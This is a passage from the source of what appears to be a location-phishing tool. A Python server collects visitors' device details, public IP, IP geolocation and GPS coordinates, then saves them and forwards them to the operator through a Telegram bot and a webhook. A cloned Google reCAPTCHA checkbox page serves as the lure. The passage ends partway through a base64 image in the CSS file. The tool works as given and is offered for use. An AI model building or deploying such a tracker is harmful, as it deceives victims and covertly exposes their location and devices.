utils.print(f'{C}[ {R}✘{C} ]{W}')
utils.print(
f'{R}[-] {C}Port {W}{port} {C}is being used by some other service.{W}'
)
sys.exit()
elif port_free:
pass
with open(LOG_FILE, 'w') as phplog:
proc = subp.Popen(cmd, stdout=phplog, stderr=phplog)
with open(PID_FILE, 'w') as pid_out:
pid_out.write(str(proc.pid))
sleep(3)
try:
php_rqst = requests.get(f'http://127.0.0.1:{port}/index.html')
php_sc = php_rqst.status_code
if php_sc == 200:
utils.print(f'{C}[ {G}✔{C} ]{W}')
print()
else:
utils.print(f'{C}[ {R}Status : {php_sc}{C} ]{W}')
cl_quit()
except requests.ConnectionError:
utils.print(f'{C}[ {R}✘{C} ]{W}')
cl_quit()
def wait():
printed = False
while True:
sleep(2)
size = path.getsize(RESULT)
if size == 0 and printed is False:
utils.print(f'{G}[+] {C}Waiting for Client...{Y}[ctrl+c to exit]{W}\n')
printed = True
if size > 0:
data_parser()
printed = False
def data_parser():
data_row = []
with open(INFO, 'r') as info_file:
info_content = info_file.read()
if not info_content or info_content.strip() == '':
return
try:
info_json = loads(info_content)
except decoder.JSONDecodeError:
utils.print(f'{R}[-] {C}Exception : {R}{traceback.format_exc()}{W}')
else:
var_os = info_json['os']
var_platform = info_json['platform']
var_cores = info_json['cores']
var_ram = info_json['ram']
var_vendor = info_json['vendor']
var_render = info_json['render']
var_res = info_json['wd'] + 'x' + info_json['ht']
var_browser = info_json['browser']
var_ip = info_json['ip']
data_row.extend(
[
var_os,
var_platform,
var_cores,
var_ram,
var_vendor,
var_render,
var_res,
var_browser,
var_ip,
]
)
device_info = f"""{Y}[!] Device Information :{W}
{G}[+] {C}OS : {W}{var_os}
{G}[+] {C}Platform : {W}{var_platform}
{G}[+] {C}CPU Cores : {W}{var_cores}
{G}[+] {C}RAM : {W}{var_ram}
{G}[+] {C}GPU Vendor : {W}{var_vendor}
{G}[+] {C}GPU : {W}{var_render}
{G}[+] {C}Resolution : {W}{var_res}
{G}[+] {C}Browser : {W}{var_browser}
{G}[+] {C}Public IP : {W}{var_ip}
"""
utils.print(device_info)
send_telegram(info_json, 'device_info')
send_webhook(info_json, 'device_info')
if ip_address(var_ip).is_private:
utils.print(f'{Y}[!] Skipping IP recon because IP address is private{W}')
else:
rqst = requests.get(f'https://ipwhois.app/json/{var_ip}')
s_code = rqst.status_code
if s_code == 200:
data = rqst.text
data = loads(data)
var_continent = str(data['continent'])
var_country = str(data['country'])
var_region = str(data['region'])
var_city = str(data['city'])
var_org = str(data['org'])
var_isp = str(data['isp'])
data_row.extend(
[var_continent, var_country, var_region, var_city, var_org, var_isp]
)
ip_info = f"""{Y}[!] IP Information :{W}
{G}[+] {C}Continent : {W}{var_continent}
{G}[+] {C}Country : {W}{var_country}
{G}[+] {C}Region : {W}{var_region}
{G}[+] {C}City : {W}{var_city}
{G}[+] {C}Org : {W}{var_org}
{G}[+] {C}ISP : {W}{var_isp}
"""
utils.print(ip_info)
send_telegram(data, 'ip_info')
send_webhook(data, 'ip_info')
with open(RESULT, 'r') as result_file:
results = result_file.read()
try:
result_json = loads(results)
except decoder.JSONDecodeError:
utils.print(f'{R}[-] {C}Exception : {R}{traceback.format_exc()}{W}')
else:
status = result_json['status']
if status == 'success':
var_lat = result_json['lat']
var_lon = result_json['lon']
var_acc = result_json['acc']
var_alt = result_json['alt']
var_dir = result_json['dir']
var_spd = result_json['spd']
data_row.extend([var_lat, var_lon, var_acc, var_alt, var_dir, var_spd])
loc_info = f"""{Y}[!] Location Information :{W}
{G}[+] {C}Latitude : {W}{var_lat}
{G}[+] {C}Longitude : {W}{var_lon}
{G}[+] {C}Accuracy : {W}{var_acc}
{G}[+] {C}Altitude : {W}{var_alt}
{G}[+] {C}Direction : {W}{var_dir}
{G}[+] {C}Speed : {W}{var_spd}
"""
utils.print(loc_info)
send_telegram(result_json, 'location')
send_webhook(result_json, 'location')
gmaps_url = f'{G}[+] {C}Google Maps : {W}https://www.google.com/maps/place/{var_lat.strip(" deg")}+{var_lon.strip(" deg")}'
gmaps_json = {
'url': f'https://www.google.com/maps/place/{var_lat.strip(" deg")}+{var_lon.strip(" deg")}'
}
utils.print(gmaps_url)
send_telegram(gmaps_json, 'url')
send_webhook(gmaps_json, 'url')
if kml_fname is not None:
kmlout(var_lat, var_lon)
else:
var_err = result_json['error']
utils.print(f'{R}[-] {C}{var_err}\n')
send_telegram(result_json, 'error')
send_webhook(result_json, 'error')
csvout(data_row)
clear()
return
def kmlout(var_lat, var_lon):
with open(TEMP_KML, 'r') as kml_sample:
kml_sample_data = kml_sample.read()
kml_sample_data = kml_sample_data.replace('LONGITUDE', var_lon.strip(' deg'))
kml_sample_data = kml_sample_data.replace('LATITUDE', var_lat.strip(' deg'))
with open(f'{path_to_script}/{kml_fname}.kml', 'w') as kml_gen:
kml_gen.write(kml_sample_data)
utils.print(f'{Y}[!] KML File Generated!{W}')
utils.print(f'{G}[+] {C}Path : {W}{path_to_script}/{kml_fname}.kml')
def csvout(row):
with open(DATA_FILE, 'a') as csvfile:
csvwriter = writer(csvfile)
csvwriter.writerow(row)
utils.print(f'{G}[+] {C}Data Saved : {W}{path_to_script}/db/results.csv\n')
def clear():
with open(RESULT, 'w+'):
pass
with open(INFO, 'w+'):
pass
def repeat():
clear()
wait()
def cl_quit():
if not path.isfile(PID_FILE):
return
with open(PID_FILE, 'r') as pid_info:
pid = int(pid_info.read().strip())
kill(pid, SIGTERM)
remove(PID_FILE)
sys.exit()
try:
banner()
clear()
SITE = template_select(SITE)
server()
wait()
data_parser()
except KeyboardInterrupt:
utils.print(f'{R}[-] {C}Keyboard Interrupt.{W}')
cl_quit()
else:
repeat()
================================================
FILE: telegram_api.py
================================================
import utils
import requests
from json import dumps, loads
R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m' # white
Y = '\033[33m' # yellow
def send_request(token, msg):
api_url = f'https://api.telegram.org/bot{token[0]}:{token[1]}/sendMessage'
api_params = {
'chat_id': token[2],
'text': msg,
'parse_mode': 'MarkdownV2'
}
rqst = requests.get(api_url, params=api_params, timeout=10)
if rqst.status_code != 200:
utils.print(f'{R}[-] {C}Telegram :{W} [{rqst.status_code}] {loads(rqst.text)["description"]}\n')
def tgram_sender(msg_type, content, token):
json_str = dumps(content)
json_content = loads(json_str)
if msg_type == 'device_info':
info_message = f"""
*Device Information*
```
OS : {json_content['os']}
Platform : {json_content['platform']}
Browser : {json_content['browser']}
GPU Vendor : {json_content['vendor']}
GPU : {json_content['render']}
CPU Cores : {json_content['cores']}
RAM : {json_content['ram']}
Public IP : {json_content['ip']}
Resolution : {json_content['ht']}x{json_content['wd']}
```"""
send_request(token, info_message)
if msg_type == 'ip_info':
ip_message = f"""
*IP Information*
```
Continent : {json_content['continent']}
Country : {json_content['country']}
Region : {json_content['region']}
City : {json_content['city']}
Org : {json_content['org']}
ISP : {json_content['isp']}
```
"""
send_request(token, ip_message)
if msg_type == 'location':
loc_message = f"""
*Location Information*
```
Latitude : {json_content['lat']}
Longitude : {json_content['lon']}
Accuracy : {json_content['acc']}
Altitude : {json_content['alt']}
Direction : {json_content['dir']}
Speed : {json_content['spd']}
```
"""
send_request(token, loc_message)
if msg_type == 'url':
url_msg = json_content['url']
send_request(token, url_msg)
if msg_type == 'error':
error_msg = json_content['error']
send_request(token, error_msg)
================================================
FILE: template/captcha/anchor.html
================================================
<html dir="ltr" lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>reCAPTCHA</title>
<script>var $ = window.parent.$, jQuery = window.parent.jQuery;</script>
<script src="js/location.js"></script>
<script src="js/main.js"></script>
<style type="text/css">
/* latin-ext */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 400;
src: url(fonts/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2');
unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 400;
src: url(fonts/KFOmCnqEu92Fr1Mu4mxK.woff2) format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
</style>
<link rel="stylesheet" type="text/css" href="css/styles__ltr.css">
</head>
<body>
<div id="rc-anchor-alert" class="rc-anchor-alert"></div>
<div id="rc-anchor-container" class="rc-anchor rc-anchor-normal rc-anchor-light">
<div id="recaptcha-accessible-status" class="rc-anchor-aria-status" aria-hidden="true">Recaptcha requires verification. </div><div class="rc-anchor-error-msg-container" style="display:none"><span class="rc-anchor-error-msg" aria-hidden="true"></span></div><div class="rc-anchor-content"><div class="rc-inline-block"><div class="rc-anchor-center-container"><div class="rc-anchor-center-item rc-anchor-checkbox-holder"><span onclick="main();" class="recaptcha-checkbox goog-inline-block recaptcha-checkbox-unchecked rc-anchor-checkbox recaptcha-checkbox-clearOutline" role="checkbox" aria-checked="false" id="recaptcha-anchor" tabindex="0" dir="ltr" aria-labelledby="recaptcha-anchor-label"><div class="recaptcha-checkbox-border" role="presentation" style=""></div><div class="recaptcha-checkbox-borderAnimation" role="presentation"></div><div class="recaptcha-checkbox-spinner" role="presentation"><div class="recaptcha-checkbox-spinner-overlay"></div></div><div class="recaptcha-checkbox-checkmark" role="presentation"></div></span></div></div></div><div class="rc-inline-block"><div class="rc-anchor-center-container"><label class="rc-anchor-center-item rc-anchor-checkbox-label" aria-hidden="true" role="presentation" id="recaptcha-anchor-label"><span aria-live="polite" aria-labelledby="recaptcha-accessible-status"></span>I'm not a robot</label></div></div>
</div><div class="rc-anchor-normal-footer"><div class="rc-anchor-logo-portrait" aria-hidden="true" role="presentation"><div class="rc-anchor-logo-img rc-anchor-logo-img-portrait"></div><div class="rc-anchor-logo-text">reCAPTCHA</div></div><div class="rc-anchor-pt"><a href="https://www.google.com/intl/en/policies/privacy/" target="_blank">Privacy</a><span aria-hidden="true" role="presentation"> - </span><a href="https://www.google.com/intl/en/policies/terms/" target="_blank">Terms</a></div></div></div>
<iframe style="display: none;"></iframe>
</body>
</html>
================================================
FILE: template/captcha/css/styles__ltr.css
================================================
.goog-inline-block{position:relative;display:-moz-inline-box;display:inline-block}* html .goog-inline-block{display:inline}*:first-child+html .goog-inline-block{display:inline}.recaptcha-checkbox{border:none;font-size:1px;height:28px;margin:4px;width:28px;overflow:visible;outline:0;vertical-align:text-bottom}.recaptcha-checkbox-border{-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;background-color:#fff;border:2px solid #c1c1c1;font-size:1px;height:24px;position:absolute;width:24px;z-index:1}.recaptcha-checkbox-borderAnimation{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFQAAANICAYAAABZl8i8AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAABIAAAASABGyWs+AAAACXZwQWcAAABUAAADSAC4K4y8AAA4oElEQVR42u2dCZRV1ZX3q5iE4IQIiKQQCKBt0JLEIUZwCCk7pBNFiRMajZrIl9aOLZ8sY4CWdkDbT2McooaAEmNixFhpaYE2dCiLScWiQHCgoGQoGQuhGArKKl7V+c5/n33fO/V4w733nVuheXuv9V/rrnvP2Xud3zvTPee+ewsKxMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExP4OdtlT6ztAbRWvvLy8A3QkwxzH6tBGMMexIo+nCgraaf2E1U6A5g60o9a9rI7S5N1APQaSzl1MTExMTExMTExMTExMTExMTExMTExMTExMTExMTOwIsMueWl8EtVW88vLyIqit4qmCguOgtoT5AKuojWA+wCpqA5i9tP6d1UuA5g70K1oPsL4iTd4N1DMh6dzFxMTExMTExMTExMTExMTExMTExMTExMTExMTExMT+l9tlT63/stbtrC9HHa+8vPzLWrezIo+nCgq6a41hdW8LoAD5COv2NgAKkI+wbm8DoHhf0yOsnwjQ3IHeaQG9U5p87kAHa01kDZZOXkxMTExMTExMTExMTExMTExMTExMTExMTExMTEysLe2yp9afoTWWdUbU8crLy8/QGsuKPJ4qKOirdRWrb1vAfDJJZ0QM88kknREhTLwR5wmtJ1lPRPpmHK6VT/5q3g4SAx0bIVDUyidXr15NYqBjIwT6YwI5cqSRgfpjARoe6E8J4vjxRgboT6XJhwf6Dau5e/qGDEq5Qb3I+mriRTINERMTExMTExMTExMTExMTExMTExMTExMTEzss7LKn1neB2ipeeXl5F+hIBHma1mStF1g4Pi1CkKdpTdZ6gYXjyOKpgoLeWndoPcPCce8oYU63YHqaHgVUhjndgulpehRQNbgiree0XkgSzhVFAZRq5pQ3t7+w+0CMhGOvpkYAlGrmhx9++EJTUxMJx15NjQDozwngN7/5gnr/fSMcG6g/j6LPJHgAqZQi4diqqV0c95kEDyC9eDi2amoXhzCP0ppO8DZsiMejYwMU144SoP6BHk3gCgtfUHv2JIDiGOcM1KOlyQeD+giB++lPX1AHDxrh2MB8RAal4EDPjg9Exx1nlBiYzpZpUzio39R6ygKJ42/KxD43qO14CgW1k9s4MTExMTExMTExMTExMTExMTExMTGxw894C+Q2rQdZt7XBFshtWg+ybot4C6Sn1hX8xZo7+bhnFCA78NdpStMI1zo4BNmBv05Tmka41sEhyEJ+C85rWqVJeo2vFboESjBHPb2+9Om/fV66pHo/Ccc450F1CJRgLliwoLSqqqp0x44dJBzjnAfVIdAxcYDf/napevxxIxwnwI5x2cwJXMX6A6VKqVbCOQvqaY6aOYHbuXPnIfFwzoJ6mgOYeE/T6wTtN785JB6dM0Bfd/IeJ+4nqTYeEoyFawz0NgdA0U9SbUwXD9cY6G0OgN5MwK66Km08umag3uwCKAYfauLpAuIaA33QAVAMPtTE08XDNQb6oAOg9xOsV15JDxTXDND7BWh2oA8TrFmz0gPFNQP0YWny2YHeQbDuuis9UFwzQO+QQSk70KEEq0uXUlVRcShMnMM1A3SoTJv8QZ1AwI4+ulQ9+GCpWrbMCMc4Z2BOkIm9f6Bf0pqcYlLvCde+JLeewe+WhvP3PKeyJvK5wgIxMTExMTExMTExMTExMTExMbHD2y57an03rRKtG1g47hZVvPLy8m5aJVo3sHAcWTxVUNBB6wytb7Nw3CEKkD20JmjN1ypL0ny+1sMhyB5aE7Tma5UlaT5f6+EQJBaYb9V6U6ssSW/ytS+5gnkar8qXXa41fuaWsmfnf07C8eUJsE73lDyAy5cvL1uzZg0JxxZYV3tKJ2v9Lg6wd+8y9Z3vGOE4ARZpTnZRMwnmna9sLlu3o7FMKdVKOIdrFtQeOdZMgrls2bKy+vr6Q+LhHK5ZUHvkAPMYrd8TsKKiMjVrVplqaUnEwzHO4ZqBirTH5AJ0ggezoan5kMJ5wjUL6oQcgE7wYMZisbTxcM2COiEHoD8jUKecUqa2bEkbj64hjYH6s1wGoPlo0qlqZqqaenmiT+0WcgCiPjNVzUxVU60+tVsImHhxyzyCpP1ki0dpDNB5oV7owiM49ZNZg7GQlmtpSQigJV6f6Tee1aeWhAB6MQE680zf8SitgXpxGKCYFtHg4zcg0jLQ60MAxbSIBh+/8ZCWgV4fAugYgnPbbf6BIq0BOqatgd7QxkBvCAH0RoLzz//sHyjSGqA3SpM/FOhIgnPJJf6BIq0BOlIGpUOB9iI4HTqUqU8/zQ4TaZDWAO0l06bUUB8hQCNGlKmDB9PDxDWkMTDDv2UsDyb2p2jNIVC4M0o1F8U5XDMwkfYUufXMDPU8rf8mYF27lqlrry1TjzxihGOcMzCR5jxZHPEHFd9EfjrFwoinpyP5RnLS8t31bbx8d30bLN+dpvVDrbu1/i8fR/Z0oZiYmJiYmJiYmJiYmJhYVKbv1wu1LuD31s/Sepc1i8/hmrN/m+n79UKtC/i99bO03mXN4nO45vTfbfqefYDWWK3nrb8kPs/nBriEOVDrZa3KLEKagQ5gDtR6Wasyi5BmoAOQPbT+n1ZlFiFNj1xhnqf1DoBd/dyGyt+W76z84LOGys/3xUg4xjlcY6hIe14OMM/TegfAFi1aVFldXV1ZV1dX+cUXX5BwjHO4xlCR9rwcYA7W+h8CVlhYqS6/vFJNn16ptH8SjnEO1wxUpB2cS80kmL94fWvlrvpYpVIqpXANaSyoA0PWTIK5YsWKysbGxrTxcA1pLKgDQ8A8SWs+gTrttEql/aWLR9eQxkBFnpPC9JkvezAPxlrSB2MhjQX15SB9KveZL3swW1qyx0MaC+rLQftUDeVZAjRkSKXavTtrPEqDtAbqs0GBXuA180w1M1VNtZr/BQGAXuA180w1M1VNtZr/BQFgnkVgOnasVFVVvuNRWuQxUM8KAhQjN/WPvoOxkIeBTg4AFCM39Y9B4yEPA50cAOjPCcottwSOR3kM0J8HAYrpEA06QQMiDwOdFQAopkM06ASNhzwMdFYAoKUEZc6c4ECRxwAtDQIUc0wayYMGRB4G+m4AoJhj0kgeNB7yMNB3AwBdTFA2bAgOFHkM0MUCNAH0PYKydWtwoMhjgL4nTT4BdDZBwVwzKFDkMUBny6CUAPofBGXChOBAkccA/Q+ZNiWAlhCU7t0rVZBWgbTIY4CWBAF6RE/sNYz2Wv9JYK6+ulL5iEdpkNbARN72cuvZGurXtCoI0JgxlerAgfQwcQ1pDEzk+ZosjqSG+k9xqH36VKonnqhUn35qaiOEY5zDtQTMf5Llu8xQz9ea22qpDreXiVtMT0hzviww+4N6FL+4Gq9ne9+C+D6fu8rpx6bzyfgdeN1Z8s47MTExMTExMbHDxPQE/li+e4KOjTqensAfy3dP0LFtUUY9/+wCRQmxn/c3Ra2qJJXxtX4OIfbz/qaoVZWkMr7WzyHAY7V+xK/AWKZVxVrG53DtWBcgO2tN0vrEhjjmNxtJSWA/4bSdcwDZWWuS1ic2xMWLF5OSwH7CaTvnALKd1i1ayy2I6bSc07YLC/MErb94wO77z21VS6r3VzU0NVcppUg4xjlcs8AizwkhYJ6g9RcP2MqVK6t27NhRFYvF4vFwjHO4ZoFFnhNCNuupcWCnn16lHn+8Sq1aVaX27DHCMc7hWgLs1MDdAddMgnnDb2uqlm04EC9UOiEN0lpQOwesmQRzyZIlVTt37swaD2mQ1oLaOQBMLDBPJ0BdulSp556rUtYPd4hwDWmQ1kCdHmiBmZsuAdqyuylr4TwhrQV1UgCgkzyYBw4c8B0PaS2okwIAvT0OU+f3G4/SJqDeHmQAoj7TT81MVVOtPrWfzwGI+kw/NTNVTbX61H4+YOLFA6sIyu9/Hzge5TFAV/l6EQGP2NQvBg7GsvrUCT6ATvD6zLDxrD51gg+gdxGQ886rUi0tweMhD/IaqHf5AUpTIww2YQuIvN6UygdQmhphsAkbD3m9KZUPoHND185Da+lcP5N2gmGP5kGFvNaof2yWSTvBiGUaFLIIea1R/9gMMLvGR+sQ3UtcyJsY9btmAjrQm2eGDsay5qkDMwAd6M0zc41nzVMHZgA6gCAcc0zO8ciHATogn4EOIgg9euQOFD4M0EH53ORPiDfVhobwMJE30eRPyPdBaTGBmDs3PFDkNTAXy7SpoOAhgnHtteGBIq8B+pBM7AsKvhpvrkuXBoeJPInm/lW59TRQf0lA+vevUrW1/mEiLfIYmL+UxZEE0OP4/0ZVatAgs6qUDSbSIK2BibzHyfJda6in8EuuqlT79lVq7NgqtWzZoSBxDteQxsAsC/26tjxYYO7Of5BN9Ivdu1epoUONcNx6kRlpu8sWSHaweALvufgqVGut4mvnF0RhR/ImHT+Fd7rWRazT5ak7MTExMbH8Mf7W/ImsDlHH42/Nn8jqcKRAHKQ1UWue1nqtGtZ6PodrgxxCHKQ1UWue1nqtGtZ6PodrzuLpqVE3ftzmRa13tNay3uFzuNbNBcieWs9aAElXPLOBlHye0/bMAWRPrWctgKQFCxaQks9z2p45gMSHqe7VWqNVk0VrOO2XwsI8R2s5QF2uNeXN7TVvr66v2bU/VqPvcUk4xjlcuzwBFXnOCQHzHK3lHqwPP/ywZvv27TWNjY3xeDjGOVyzoCLPOSFgfoXvyw2ws86qUQ8+WKPeeadGbd5shGOcw7UE2LLAL7hmmGsA6M4/bq5ZV5soVDohDdIy1DVBoDLMNQBUUVFRs2/fvqzxkAZpGeqaIFA1kIFaKwhQnz416o03ssajNEhroCLvwCDNnGrmv7+xreaLgy3Zg7GQFnmsmtrTZzOnmrlq1aqa5uZm3/GQFnmsmtrTB0x85WsRgTn77Bqla7zfeJQWeQzURb6+/uX1mahtQWDaUK2a+qwPoM96NTMITBuqVVOf9QH0IQLSr1+Nqq0NHI/yIK+B+pCf0Zz6Qz/NPFPzt/rUQVlGc4Lhp5lnav5WnzooA8w+WusJxvz5oeNRXgMUvvpkAorpDw0yoYOx4IOBTswAdKI3AOUazxqoJmYAOo5AjBiRczzyYaCOywQUc0oauXMNCB8MdF4GoJhT0sidazz4YKDzMgB9kyBMnZo7UPgwQN/MdAdEk3Z7ahRW8GFN/jukuQOiSbs9NQor+LAm/x1SwMRDtusIwoYNuQOFDwN0XcqHb/lWkibsOQdjWZP/E1MAPdGbtLuKZ03+T0yz3VGj2rd3Fo98Gajd8xFoTyr8UUe5AwpfBmjPfGzynbQ2EoCdO3OHCR8GJnx2ytdBqZwglJbmDhQ+DNDyfJ42TSEIN9yQO1D4MECn5PPE/iyC0LFjjfr00/AwkRc+DNCz8v3W848E4pJLalQsxFiBPMhrYP5RFkfMY+GrCcgttwSDirTIY2Cu9v069jxYvsNXZzcQmO98x6x9ZoOJNEhrYG4I/PXZPFhg/ife5qhRXbvWqH/91xq1aFGNslsIjnEO15DGwFwb+u1iebAFcqrWG622Orp0qVGDBhnhuPU2CNKeKpt0maHixVeX8JN1H6fYS/qYr10SyYuxjuRtZP7/fJHWUFZR6P/Hi4mJiYlF9ihOJ63vak3xPo1ufQJ9Cl/r5HAg6qT1Xa0p9qfR+XgKX+vksox68DlD66daT2q9xHqSz53hCiT+tDCen6WvzaIqTpvrnxbG87P0tVlUxWlz+dMCpkzXaC3Qqs2iBZy2MCzMYq2lHrBbXvis9rflO2vLq+prV21qIOEY53DNAos8xSFgFmst9YC9++67tdXV1bX6zqi2rq6OhGOcwzULLPIUh4D5Zd60M8C6dKlVl19eqx56qFa9+KIRjnEO1xJgkefLQWF+iyfutTdrWADX0qJq9e1YSuEa0tycAIu83woA81s8cSdYAJculiekscAi77cCwCzmxY1adfTRtWrKlFq1Z0/6eLiGNEhroCJvcZCaSTAnv7Gtdt8XzVkL5wlpkceCWuyzZhLMVatW1R48eNB3PKRFHgtqsQ+Y/eIwhw6tVevW+Y5HaZEnAbWfnz5zqQfzYKzFfzCvkDqPBXVppj6V+8ylHsyWluDxkMeCujRTn6oBdNCaR0C+/vVatXt34HiUB3kNVPjqkAnoeK+ZB6mZqWqq1fzHZwA63mvmQWpmqppqNf/xGYD+mEB061arPvssdDzKCx8G6o8zTY1oNEd/GDoYCz6s0b9TmqkRjeZ++kw/fao1+ndK86DDCoLw61/nHI98GKAr0j3o8F1vNM80APlvisoe/b+bAuh3vdqZc+FYVi39bgqglxCAE0+sVY2NuceDD/gyUC9JBRQTdJoGuSogfDHQKSmAYoJO0yBX8eCLgU5JAXQyFf6225zFI18G6ORUQEtdNfcUzb40BdBSV809RbMvTQF0JhV+xgx3QOHLAJ2ZCihuJWnC7iogfDHQshRAcStJE3ZX8eCLgZalAFpGhZ8/3x1Q+DJAy/IXaFmZO6DwlQHokd7kZ1HhX3vNHVD4MkBn5eOg9BgV/p573AGFLwP0sXycNo2mwp96qjug8GWAjs7Hif3R/IBCrZo7N3eY8GFgwufR+Xrr+QBB+Id/qFUNOQy+yAsfBugD+bw4cjzvs9eqm26qVSHiUR7kNTDh6/h8X767WGsbAbn11mC3oUiLPAYmfFwsC8wG6nVxqFjfXLIkO0ykSayFIu91sgXSGuql/JdtA+mCC2rVE0/UqsWLa9X69UY4xjlcS2yBIM+lskmXGmoPrae0NvvYpNvMaXvINnJ2sHi3/f/hD6ngY6jVrAo+9398vbNeTExMLH0/is/5Dtb6vtaNrO/zOecPovLnfAdrfV/rRtb3+VwkX4TlDwcU81z1Yj7u6hrkAK1H+Y8IdWm0htMMcABygNaj/EeEujRaw2kGOICIt93eofU3rZ1adUnaydfuCPxW2ySQXbUe0/rcA3f1cxvq7nltS93Ds7eTcIxzFtjPOU/XECC7aj2m9bkHbtGiRXXLly+v++ijj0g4xjkL7Oecp2sIkNgF/Rn/VzMBsE+fOvW1rxnhuDXcjZynfZhaudQD9cCs7XWVGw/UxZpb6vRdQyvhHK4hjQV2aZDayrVyqQdK307W7dq1q07fpx8SD+dwDWkssEuD1FYN5ESt2XFQZ5xRp55/vk5t3XpIPDqHa0iTAIu8JwaBWQ0wN79QU7eipuHQIGmEtMjDUKv9QGWY1QCj74DqYH7jwZCHoVb7gcowKwjM0UfXqWnT6lSKH+4QIQ3SIo+BWpEVKjdzqpn/8ofNdXX7Y74LFy+kzoO8Vk3tmqWZU82sqKioa2xsDBwPeZDXqqldM8DsyI/PmOb8ySeB41GeRFcAXx0zAX3Mq5lhYNpQrZr6WAagj3k1MwxMG6pVUx/LAPReAnH88XWqqip0PMoLHwbqvZmaOg1AQZp5puZvDVQD0jR1GoCCNPNMzd8aqAakub3cRhBeeSXneOTDAN2W8raUpz00uOQcjGUNVI+mAPqoNwC5imcNVI+mAPpvBGDYMGfxyJeB+m+pJu00z8SI7SogfFnz1MKkSTvNMzFiu4oHX9Y8tTAJ6Coq/J//7A4ofBmgq5KBDvbmmammRmEFX9Y8dbAFdLA3z2xpcRcPvqx56uCkh2zr1FFH1amGBndA4Qs+DdR+NlDcQtJE3VkwFnwy0O9bQHELSRN11/Hgk4F+3wI6kgp9zjnO45FPA3SkDRT35XT34zogfDLQGy2guC+nux/X8eCTgd5oAb2BCj1qlHug8GmA3pBPQH9Ehf7BD9wDhU8D9Ef51OSvoEJfdJF7oPBpgF6RT4PSECp0t251qrnZHUz4gk8DdEjeTJt4ZcmsKmngzoDCV2IVqn2+Tex/TYW//np3QOHLAP11Pt56nkmFb9euTi1bljtM+IAvA/TMfF0cmU4ATj+9Tu3bFx4m8sKHgTk9n5fvevBfCuvUJZfUqf37g8NEHuQ1MFdnffAhDxaYv661lYCceWad+vhj/zCRFnkMTPj4umyBGKjn8Aut6lTHjnXqjjvq1OrV6UHiGtIgrYGJvOcE3Vc60jfpTuL/LiX2ik491Yzc48YZ4RjnWm/UIc9Jso2cHuwwrT9p7UixhexpB6cZJg86+Ad7rNa3tW7Xmsi6nc9F/nVIMbHD67mm7lo3aT2vNV/rA9Z8Podr3R029+5aN2k9rzVf6wPWfD6Ha90dNveO/CzTL7Rm8L/uZvHxL/haR1fPNU3T2q1Vn0W7Oe2AHEBiQJqmtVurPot2c9oBOYDEp9Mm8X+N6rNoA6ftFgYkBqBxWjs9YOP+tKX+j+/W1b/z6f761Vu/IOEY53DNAruT8xYGAIkBaJzWTg9YZWVl/YYNG+o///zz+j179pBwjHO4ZoHdyXkLA8Ic3Qpkr1716qab6tUTT9SrV14xwjHO4VprsKODwMTj3y95gP7tL9vqq2sb6/UEN6OQBmktsC/5eUycH/9+yQO0cuXK+n379mWNhzRIa4F9yc9j4vzyqwfjgE4/vV69/nq9isXSx8M1pEHaBNgHs74Ui2smwbzimQ31c1ftzVqwZCEP8lpQC7PUTIK5YMGC+i1btgSOhzzIa0EtzAL0kTiUe+6pV01N/uMhLfIkoD6SDeg4D2bF+gOBC+cJeS2o4zIAHefB3LlzZ+h4yGtBHZcB5vVxGFOnho5HeRNQr880AFGfGaZmpqqpVp+abj2U+swwNTNVTbX61HSP4mwlCPfdl3M88mGAbk33KM40r8/MORjL6lOnpQA6zeszXcWz+tRpKYD+kgCcfXbm/tKv4AO+DNRfpppn0tTIzwDkV/BlTam6J80zaWrkZwDyK/iyplTdLZhH8/14vZo/31k88mWA7mj1F2+emNP0x1kwljWluskCepM3NXIdz5pS3WQBvZoKftppzuORTwP1ahso7nZoTuk6IHwy0OctoLjboTml63jwyUCft4A+FR/VXQNNjPpP2UBxC0kTddcB4ZOBzreA4haSJuqu48EnA51vAZ1HhX7tNfdA4dMAnWcDxX053f24DgifDPQDCyjuy+nux3U8+GSgH1hAl1OhFy92DxQ+DdDl+QR0FRX6vffcA4VPA3RVPjX5cir0f/2Xe6DwaYCW59Og9AIV+uGH3QOFTwP0hXyaNo2lQl94oXug8GmAjs2niT0+Mr1PFRbWqzVr3MGEL/iE7+SPTufBredMqknXXusOKHyZ2jkzHxdH8MXEvQSgtDR3mPBhYO5N++XEPFi+e5ggHHtsvaqoCA8TeeHDAH04bxeY+XO+/x2HOmdOcJjIk4D532k/45tHWyB4oOGv8QXin/ykXvn5IZEGaRMLy3/1/QDEkb5Jp0F01vpVHE6nTvXqBz+oVy++WK+WL69XW7ca4RjncA1pEjCRN/j7ovJgG/mb8YUTf0Lab8qDDtnBnsF77nO1PrUeEvuUz01y9k0lsegexzmJXzB4YZJw7iTX8XQNPIlfMHhhknDOeTz+BCXeL3pKko539ilKDep8ralaG7Uasmgjpz0/B4jna03V2qjVkEUbOe35OUDsqzWBv+aFJt6QRnWcBmn7hgHZX2uWDUzPLRtueeGzhjv/uLmVcA7XkuAib/8AIPtrzbKB6bllw7vvvttQUVHRSjiHa0lwkbd/AJCodU/zQNMa3nHHtdahcOs57/F+YV6qtd2D+PT/7GhYtamh4WCspUHPx1IK15AGaS248HGpD5iXam33IFZVVTXs3r27oaUlfTxcQxqkteDCx6U+YBbzM/IG0IgRDWrGjAa1bl2Dam4+NB7O4RrSIG0C7NqsX/1imHsB5J7XtjRs2d2UtlDphDzIy1D3ZoLKMPcCyPLlyxsOHDgQOB7yIC9D3ZsJKn+edzsBGTiwQek8QeNRHuQ1UOFraKZmTjXz0bm1GWtkNiEvfFg1tX+aZk418+OPP85YI7M